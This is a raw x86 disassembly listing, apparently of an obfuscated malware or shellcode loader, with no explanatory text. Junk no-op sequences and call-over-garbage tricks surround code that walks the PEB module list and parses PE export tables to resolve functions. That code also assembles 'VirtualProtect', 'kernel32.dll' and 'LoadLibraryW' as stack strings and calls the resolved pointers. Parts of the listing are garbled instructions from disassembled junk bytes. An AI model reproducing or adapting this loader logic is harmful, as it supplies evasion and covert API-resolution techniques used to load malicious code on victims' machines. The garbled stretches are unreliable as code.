xor eax, eax
mov word [ebp - 0x34], ax
dec eax
xor byte [ecx - 0xc3373], cl
push dword [ebx]
shl byte [esi - 0x77], cl
xchg ebp, eax
add dh, bh
invalid
push eax
xor eax, 0xa7c
and eax, 0x4437
sub eax, 0x15c0c
pop eax
push eax
push eax
add esp, 4
add eax, 0xb52c
add eax, 0x16935
sub eax, 0xa80c
or eax, 0x317
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push ecx
push eax
add esp, 4
add ecx, 0x46d5
and ecx, 0x11d22
or ecx, 0x6c37
pop ecx
push edi
xor edi, 0x182b1
jmp 0x40633b
sub edi, 0x17a5f
xor edi, 0xc138
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x406365
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4063bf
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x40628d
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x40628d
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4063a9
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4063b3
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x406408
push ecx
push esi
add esp, 4
call 0x4063dd
add byte [ebx + 0x40], cl
dec ebx
inc esi
cmp byte [edx + 0x45], al
cmp dword [edi - 0x7d], eax
les eax, [ebx + ebp*8]
add edi, dword [eax]
xor al, 0x59
push edi
and edi, 0x2859
sub edi, 0xc24a
and edi, 0x6fa6
pop edi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x406470
push ecx
push ebx
add esp, 4
add ecx, 0x7625
add ecx, 0x8264
or ecx, 0x24c2
add ecx, 0x1832b
pop ecx
push ebx
xor ebx, 0x147fa
or ebx, 0x108fa
jmp 0x406439
pop ebx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x406466
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x406231
mov dword [ebp - 0x2e0], 0
push ebx
xor ebx, 0x137a
xor ebx, 0xa7b8
and ebx, 0x11930
pop ebx
push ebx
push ebx
add esp, 4
xor ebx, 0x124ef
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0x8df
add ebx, 0xee4a
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edx
push esi
add esp, 4
xor edx, 0x7c86
xor edx, 0x176b6
pop edx
push edi
xor edi, 0x115d
or edi, 0x13aa
add edi, 0xa76b
pop edi
push eax
push edx
add esp, 4
add eax, 0xcc8a
pop eax
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x406513
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406804
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x40653b
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406804
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x40656d
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x406804
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x406592
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x406804
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4065ec
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4067f8
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x40665c
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x40670e
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x40670e
push ecx
push esi
add esp, 4
and ecx, 0x58a3
call 0x4066a3
add byte [esi], dh
dec ecx
aas
cmp eax, 0xc4833b4e
add al, 0x59
push ecx
or ecx, 0x10d46
and ecx, 0x13e01
xor ecx, 0x168d9
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x406700
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x406707
jmp 0x40664d
jmp 0x40670e
push ebx
add ebx, 0x1311a
add ebx, 0x8dc6
xor ebx, 0x105f1
pop ebx
push esi
push ecx
add esp, 4
xor esi, 0xe9d3
and esi, 0xf6e5
and esi, 0xc41e
add esi, 0x25a4
pop esi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x40676d
mov dword [ebp - 0xc40], 0
jmp 0x4067dc
push edi
jmp 0x406776
add edi, 0x9f93
pop edi
push ecx
push ebx
add esp, 4
call 0x40678e
add byte [edi + 0x41], cl
cmp eax, 0x8342444d
les eax, [ebx + ebp*8]
add eax, 0x4f3a3449
dec edx
jmp 0x40679e
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4067d2
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4067dc
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4067f3
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x406804
jmp 0x4065dd
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push eax
or eax, 0x6806
pop eax
push esi
push edx
add esp, 4
call 0x40682a
add byte [eax + 0x49], cl
push eax
aaa
dec esp
dec edi
add esp, 4
pop esi
push edx
sub edx, 0x11725
sub edx, 0xdfea
sub edx, 0x353c
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
jmp 0x406859
or esi, 0xfd83
xor esi, 0x122d7
pop esi
push edi
call 0x406873
add byte [ecx + 0x3e], cl
push eax
xor al, 0x39
cmp dword [ebx - 0x107efb3c], eax
push ebx
push eax
add byte [eax], al
xor edi, 0xf3b8
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x406895
cmp dword [ebp - 0xa5c], 0
jne 0x4068db
push ebx
or ebx, 0x7e1d
xor ebx, 0xe8c6
or ebx, 0x177d5
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0x11ca7
sub esi, 0x7e7a
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0x143e8
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
jmp 0x4068ec
pop edx
push esi
or esi, 0x1496f
sub esi, 0x14f55
sub esi, 0x10fa2
add esi, 0x8766
pop esi
push edx
or edx, 0x8f0d
pop edx
push edx
or edx, 0x13e61
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ecx
push edx
add esp, 4
xor ecx, 0x1693f
pop ecx
push eax
and eax, 0x9a64
call 0x406964
add byte [eax], bh
inc eax
dec ebx
dec edx
xor eax, dword [edx + 0x41]
cmp eax, 0x4c4833b
sub eax, 0x10ffd
jmp 0x406973
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push ecx
add esp, 4
or ebx, 0xb644
sub ebx, 0x124a6
and ebx, 0xcab4
pop ebx
push eax
push eax
add esp, 4
jmp 0x4069ff
jmp 0x406a08
jmp 0x406a0e
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
push edx
add esp, 4
sub esi, 0xc8a2
and esi, 0xc198
xor esi, 0x7306
add esi, 0x6a1e
pop esi
push esi
call 0x406a64
add byte [ebx], bh
inc ebp
inc edi
xor eax, 0x43354132
inc esp
add esp, 4
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x406a80
mov dword [ebp - 0x2a8], 0
jmp 0x406d27
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
xor ecx, 0x16adf
add ecx, 0xff35
pop ecx
push ecx
push edx
add esp, 4
call 0x406ab4
add byte [edx + eax*2 + 0x4d], al
inc ebp
inc ecx
inc eax
dec eax
push eax
cmp eax, 0x8104c483
loope 0x406b29
in al, dx
add byte [eax], al
and ecx, 0x94b9
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x406adc
mov dword [ebp - 0x2a8], 0
jmp 0x406d27
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
call 0x406af7
add byte [edi + 0x3a], al
inc ecx
inc ebp
xor cl, byte [esi + 0x39]
add esp, 4
call 0x406b0a
add byte [edx], bh
cmp al, 0x37
xor al, 0x44
push eax
cmp eax, 0x83354039
les eax, [ebx + ebp*8]
add al, 0x3d
inc esi
inc edx
dec edx
xor edi, 0x142a
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
push esi
add esp, 4
call 0x406b59
add byte [edi], dh
inc edi
dec ecx
xor bh, byte ss:[0x3e3d3a40]
add esp, 4
add eax, 0x164f1
or eax, 0x10068
pop eax
push edx
or edx, 0x13389
jmp 0x406b75
sti
invalid
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
push edi
add esp, 4
add esi, 0x130f7
xor esi, 0xd6e7
pop esi
push eax
and eax, 0x2599
call 0x406bf5
add byte [ebx + 0x4c], cl
dec ebx
dec ebx
inc edi
dec edx
dec edx
inc ecx
xor eax, 0x8104c483
invalid
push edx
push edi
add esp, 4
and edx, 0x5c37
jmp 0x406d3a
pop edx
push ebx
push ebx
add esp, 4
add ebx, 0x5b09
add ebx, 0xcd62
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0xc30e
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x40765e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push ecx
add esp, 4
sub ebx, 0x15cf8
or ebx, 0x16cc7
pop ebx
push ebx
sub ebx, 0xec3c
xor ebx, 0x1fd4
pop ebx
push edx
push eax
add esp, 4
or edx, 0x1623c
and edx, 0x158b6
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
push edi
add esp, 4
add ecx, 0x53a0
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0x36ce
add ebx, 0xa46c
xor ebx, 0x2cbe
and ebx, 0xb90
pop ebx
push edi
or edi, 0x906e
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x406efe
mov dword [ebp - 0x710], 0
jmp 0x4071a5
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
or esi, 0xdf00
jmp 0x406f20
jmp 0x406f27
pop esi
push eax
and eax, 0x3a0b
sub eax, 0x1171c
or eax, 0x4c8a
sub eax, 0xa936
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x406f5a
mov dword [ebp - 0x710], 0
jmp 0x4071a5
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ebx
push eax
add esp, 4
xor ebx, 0x12a0f
jmp 0x406f7a
xor ebx, 0x1dee
pop ebx
push edi
call 0x406f8e
add byte [eax], bh
xor cl, byte [esi + 0x3e]
cmp eax, 0x4c48348
or edi, 0x1963
pop edi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
xor ecx, 0x5416
pop ecx
push eax
push edi
add esp, 4
xor eax, 0x11ff3
xor eax, 0x13f05
add eax, 0x1576c
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x675b
add ebx, 0xd60a
salc
add byte [eax], al
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push eax
add esp, 4
xor esi, 0xc4d8
xor esi, 0x243f
jmp 0x407061
pop esi
push edx
push edx
add esp, 4
sub edx, 0xd54e
jmp 0x407076
xor edx, 0x14097
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40709a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4070f4
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x406fc2
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x406fc2
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4070de
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4070e8
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40713d
push edx
call 0x40710d
add byte [eax], bh
xor eax, 0x3732503c
dec esp
inc ebp
cmp eax, 0x8104c483
ret 0x9d7
push ecx
xor ecx, 0x1185f
or ecx, 0xa67f
pop ecx
push ebx
sub ebx, 0x12cfd
or ebx, 0xfd9f
and ebx, 0x1594e
call 0x40716b
add byte [edi], dh
cmp al, byte ds:[ebx + 0x4a]
add esp, 4
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x40719b
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406f66
mov dword [ebp - 0x710], 0
push ebx
call 0x4071b2
add byte [eax], bh
cmp byte [edi + ecx*2 + 0x42], al
push eax
add esp, 4
or ebx, 0x40ef
or ebx, 0x12000
sub ebx, 0xc44
pop ebx
push eax
and eax, 0x2453
pop eax
push edi
jmp 0x4071d6
pop edi
cmp dword [ebp - 0x710], 0
jne 0x407221
push esi
push ecx
add esp, 4
sub esi, 0x1254d
or esi, 0x14449
or esi, 0xfc0f
add esi, 0xc021
pop esi
push ebx
add ebx, 0x6d97
sub ebx, 0x14f43
xor ebx, 0x4397
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x407d49
push esi
or esi, 0x16a03
jmp 0x40722f
pop esi
push ebx
or ebx, 0x4cae
jmp 0x40723e
jmp 0x407244
or ebx, 0x101fd
pop ebx
push edi
sub edi, 0x10c6a
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x407292
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407583
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4072ba
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407583
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4072ec
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x407583
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x407311
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x407583
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x40736b
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407577
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4073db
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40748d
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x40748d
push edi
sub edi, 0x14b7a
call 0x40741c
add byte [ebp + 0x44], al
dec eax
dec edx
inc esp
dec eax
add esp, 4
call 0x40742e
add byte [ecx + 0x32], cl
dec edx
cmp ecx, dword [esi + 0x3d]
inc ecx
dec ebx
inc ebx
add esp, 4
pop edi
push ebx
add ebx, 0x6caf
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x40747f
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x407486
jmp 0x4073cc
jmp 0x40748d
push edx
push ebx
add esp, 4
or edx, 0x13edc
xor edx, 0x1367f
add edx, 0x9594
pop edx
push edi
or edi, 0x65
add edi, 0x16ca9
pop edi
push edx
push eax
add esp, 4
add edx, 0xb6f8
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4074ec
mov dword [ebp - 0xc5c], 0
jmp 0x40755b
push edi
call 0x4074fb
add byte [edx + 0x3d], al
inc ebx
dec ecx
xor eax, dword [ebp + 0x4c]
aas
add esp, 4
add edi, 0x15440
or edi, 0xffb8
call 0x40751a
add byte [ebp + 0x45], cl
dec ebx
inc esp
push eax
dec eax
xor dh, byte [eax + ecx*2]
cmp byte [ebx - 0x74a0fb3c], al
invalid
cmp dword [ebp - 0xc5c], 0
jne 0x407572
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x407583
jmp 0x40735c
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40765e
push esi
and esi, 0xfef0
pop esi
push ebx
push ecx
add esp, 4
xor ebx, 0x11ddd
add ebx, 0x67e9
pop ebx
push ebx
push ebx
add esp, 4
xor ebx, 0x8892
xor ebx, 0x9940
sub ebx, 0xe961
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
and edx, 0x1fed
pop edx
push edx
push ecx
add esp, 4
or edx, 0x6428
add edx, 0xce1f
and edx, 0x6242
pop edx
push ecx
push edi
add esp, 4
and ecx, 0xb5a1
add ecx, 0x17c0e
pop ecx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x40765e
push ecx
and ecx, 0x7308
call 0x407633
add byte [ebx], bh
inc esi
dec ebp
dec edx
dec ebp
inc edi
dec ebp
xor eax, 0x8104c483
jmp 0x409cf3
push esi
or esi, 0x1b60
call 0x407672
add byte [edi + 0x47], al
dec eax
cmp al, 0x46
dec ebx
add esp, 4
pop esi
push ebx
add ebx, 0x838e
and ebx, 0x13959
and ebx, 0x27ef
add ebx, 0xdbd5
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
push edx
add esp, 4
xor ecx, 0x8aba
pop ecx
push eax
push edi
add esp, 4
add eax, 0xeeac
sub eax, 0xd325
add eax, 0x15a5e
xor eax, 0x3e7b
pop eax
push esi
or esi, 0x5d02
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x407702
mov dword [ebp - 0x2a8], 0
jmp 0x4079a9
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push eax
add esp, 4
xor edx, 0xf87c
or edx, 0xf72f
pop edx
push esi
xor esi, 0x939a
xor esi, 0x16ca7
call 0x407742
add byte [ebx + 0x42], cl
dec ebx
dec edi
cmp dword [eax], edi
cmp eax, 0xc4833b3c
add al, 0x5e
cmp dword [ebp - 0xc68], 0
jne 0x40775e
mov dword [ebp - 0x2a8], 0
jmp 0x4079a9
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
push edx
add esp, 4
or ecx, 0xebd5
pop ecx
push eax
add eax, 0xf89d
and eax, 0x31a0
jmp 0x40778c
pop eax
push ebx
push edi
add esp, 4
jmp 0x40779b
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
add edi, 0x12d18
or edi, 0xce
pop edi
push edx
push eax
add esp, 4
or edx, 0x2024
or edx, 0x12857
pop edx
push ecx
push esi
add esp, 4
jmp 0x4077f1
sub ecx, 0x6cf0
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push esi
add esp, 4
or edx, 0xa1d4
sub edx, 0xedf6
pop edx
push eax
push eax
add esp, 4
sub eax, 0x13a7d
pop eax
push ecx
xor ecx, 0x628d
sub ecx, 0x99fc
or ecx, 0xbe55
pop ecx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x40789e
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4078f8
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x4077c6
